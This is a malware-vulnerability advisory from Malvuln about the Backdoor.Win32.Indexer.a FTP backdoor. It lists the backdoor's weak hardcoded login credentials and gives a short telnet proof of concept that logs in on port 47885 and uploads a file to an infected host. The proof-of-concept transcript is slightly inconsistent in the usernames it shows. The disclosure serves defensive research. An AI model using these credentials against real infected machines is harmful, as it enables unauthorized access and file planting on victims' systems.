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Backdoor.Win32.Indexer.a Hardcoded Credentials

Backdoor.Win32.Indexer.a Hardcoded Credentials
Posted Feb 16, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Indexer.a malware has a backdoor with weak hardcoded credentials.

tags | exploit
systems | windows
MD5 | a95609de4b4cc00f19e23b9292194bf2

Backdoor.Win32.Indexer.a Hardcoded Credentials

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/2b576e7551afe1c7575dc680396f1b5b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Indexer.a
Vulnerability: Hardcoded Weak Credentials
Description: Indexer.a backdoor runs an FTP server that listens on TCP port 47885 and uses several weak hardcoded credentials "Ronald Reagen", "Boris Becker", "Donald Duck". The credentials can be easily veiwed in the binary using strings util. This can allow anyone with up front knowledge to logon to the infected system.
Type: PE32
MD5: 2b576e7551afe1c7575dc680396f1b5b
Vuln ID: MVID-2021-0091
Dropped files:
Disclosure: 02/15/2021

Exploit/PoC:
TELNET [Malware_Infected_Host] 47885

220 ICS FTP Server ready
USER Ronald
331 Password required for Donald.
PASS Reagen
230 User Donald logged in.
CWD
250 CWD command successful. "C:/TEMP/" is current directory.
PASV
227 Entering Passive Mode (192,168,1,10,194,197).
STOR 1.js
150 Opening data connection for 1.js.
PASV
226 File received ok


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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